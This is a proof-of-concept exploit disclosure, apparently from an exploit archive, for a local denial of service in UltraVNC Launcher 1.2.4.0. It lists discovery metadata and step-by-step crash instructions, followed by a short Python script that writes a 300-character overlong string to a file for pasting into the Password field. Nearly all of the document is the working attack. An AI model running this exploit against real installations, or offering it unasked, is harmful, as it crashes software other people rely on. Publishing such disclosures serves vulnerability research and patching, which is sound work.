UltraVNC Launcher 1.2.4.0 Denial Of Service

`# Exploit Title: UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC)  
# Discovery by: chuyreds  
# Discovery Date: 2020-04-05  
# Vendor Homepage: https://www.uvnc.com/  
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0  
# Tested Version: 1.2.4.0  
# Vulnerability Type: Local  
# Tested on OS: Windows 10 Pro x64 es  
  
#Steps to produce the crash:  
#1.- Run python code: UltraVNC_1.2.40-Launcher_Password.py  
#2.- Open UltraVNC_1.2.40-Launcher_Password.txt and copy content to clipboard  
#3.- Open UltraVNC Launcher  
#4.- Select "Properties"  
#5.- In "Password" Paste Clipboard  
#6.- Click on "OK"  
#7.- Click on "Propieties"  
#8.- Crashed  
  
cod = "\x41" * 300  
  
f = open('UltraVNC_1.2.40-Launcher_Password.txt', 'w')  
f.write(cod)  
f.close()  
`